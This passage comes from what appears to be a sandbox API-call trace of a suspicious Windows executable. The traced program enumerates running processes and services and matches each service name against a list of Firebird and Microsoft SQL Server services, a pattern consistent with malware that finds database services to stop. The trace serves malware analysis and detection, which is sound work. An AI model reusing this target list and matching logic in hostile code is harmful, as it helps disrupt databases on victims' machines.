lpString2="SystemEventsBroker") returned -1 [0205.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0205.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0205.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0205.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0205.018] lstrlenW (lpString="Themes") returned 6 [0205.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0205.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0205.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0205.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0205.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0205.112] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0205.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0205.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0205.112] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0205.112] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0205.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548 [0205.117] Process32FirstW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.117] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.118] lstrlenW (lpString="System") returned 6 [0205.118] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.118] lstrlenW (lpString="smss.exe") returned 8 [0205.118] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.119] lstrlenW (lpString="csrss.exe") returned 9 [0205.119] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.119] lstrlenW (lpString="wininit.exe") returned 11 [0205.119] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.120] lstrlenW (lpString="csrss.exe") returned 9 [0205.120] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.120] lstrlenW (lpString="winlogon.exe") returned 12 [0205.120] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.121] lstrlenW (lpString="services.exe") returned 12 [0205.121] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.121] lstrlenW (lpString="lsass.exe") returned 9 [0205.121] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0205.122] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0205.122] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0205.122] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0205.122] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.122] lstrlenW (lpString="svchost.exe") returned 11 [0205.122] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.123] lstrlenW (lpString="svchost.exe") returned 11 [0205.123] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.123] lstrlenW (lpString="dwm.exe") returned 7 [0205.123] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.124] lstrlenW (lpString="svchost.exe") returned 11 [0205.124] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.124] lstrlenW (lpString="svchost.exe") returned 11 [0205.124] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.125] lstrlenW (lpString="svchost.exe") returned 11 [0205.125] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.125] lstrlenW (lpString="svchost.exe") returned 11 [0205.125] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.125] lstrlenW (lpString="svchost.exe") returned 11 [0205.126] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.126] lstrlenW (lpString="svchost.exe") returned 11 [0205.126] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.126] lstrlenW (lpString="svchost.exe") returned 11 [0205.126] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.127] lstrlenW (lpString="svchost.exe") returned 11 [0205.127] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.127] lstrlenW (lpString="svchost.exe") returned 11 [0205.128] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.128] lstrlenW (lpString="svchost.exe") returned 11 [0205.128] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0205.129] lstrlenW (lpString="spoolsv.exe") returned 11 [0205.129] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.129] lstrlenW (lpString="svchost.exe") returned 11 [0205.129] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.129] lstrlenW (lpString="audiodg.exe") returned 11 [0205.130] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0205.130] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0205.130] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0205.130] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0205.130] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0205.131] lstrlenW (lpString="Memory Compression") returned 18 [0205.131] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0205.131] lstrlenW (lpString="sihost.exe") returned 10 [0205.131] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.132] lstrlenW (lpString="svchost.exe") returned 11 [0205.132] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0205.132] lstrlenW (lpString="taskhostw.exe") returned 13 [0205.132] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0205.133] lstrlenW (lpString="msoia.exe") returned 9 [0205.133] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.133] lstrlenW (lpString="explorer.exe") returned 12 [0205.133] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0205.133] lstrlenW (lpString="SearchUI.exe") returned 12 [0205.134] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0205.134] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0205.134] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0205.134] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0205.134] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0205.135] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0205.135] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0205.135] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0205.135] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0205.136] lstrlenW (lpString="dllhost.exe") returned 11 [0205.136] Process32NextW (in: hSnapshot=0x548, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0205.136] CloseHandle (hObject=0x548) returned 1 [0205.136] Sleep (dwMilliseconds=0x1f4) [0205.689] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447ae28 [0205.690] EnumServicesStatusExW (in: hSCManager=0x447ae28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0205.691] GetLastError () returned 0xea [0205.691] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0205.691] EnumServicesStatusExW (in: hSCManager=0x447ae28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0205.692] CloseServiceHandle (hSCObject=0x447ae28) returned 1 [0205.692] lstrlenW (lpString="Appinfo") returned 7 [0205.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0205.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0205.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0205.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0205.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0205.692] lstrlenW (lpString="AppXSvc") returned 7 [0205.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0205.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0205.692] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0205.693] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0205.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0205.693] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0205.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.693] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0205.693] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0205.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0205.693] lstrlenW (lpString="Audiosrv") returned 8 [0205.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0205.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0205.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0205.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0205.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0205.693] lstrlenW (lpString="BFE") returned 3 [0205.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0205.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0205.693] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0205.693] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0205.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0205.693] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0205.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0205.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0205.693] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0205.693] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0205.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0205.693] lstrlenW (lpString="CDPSvc") returned 6 [0205.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0205.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0205.693] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0205.693] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0205.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0205.693] lstrlenW (lpString="ClickToRunSvc") returned 13 [0205.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0205.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0205.694] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0205.694] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0205.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0205.694] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0205.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0205.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0205.694] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0205.694] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0205.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0205.694] lstrlenW (lpString="CryptSvc") returned 8 [0205.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0205.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0205.694] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0205.694] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0205.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0205.694] lstrlenW (lpString="DcomLaunch") returned 10 [0205.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.694] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0205.694] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0205.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0205.694] lstrlenW (lpString="DeviceAssociationService") returned 24 [0205.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0205.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0205.694] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0205.694] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0205.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0205.694] lstrlenW (lpString="Dhcp") returned 4 [0205.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0205.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0205.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0205.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0205.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0205.695] lstrlenW (lpString="Dnscache") returned 8 [0205.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0205.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0205.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0205.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0205.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0205.695] lstrlenW (lpString="DPS") returned 3 [0205.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0205.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0205.695] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0205.695] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0205.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0205.695] lstrlenW (lpString="DusmSvc") returned 7 [0205.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0205.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0205.695] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0205.695] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0205.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0205.695] lstrlenW (lpString="EventLog") returned 8 [0205.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0205.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0205.695] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0205.695] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0205.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0205.695] lstrlenW (lpString="EventSystem") returned 11 [0205.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0205.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0205.695] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0205.695] 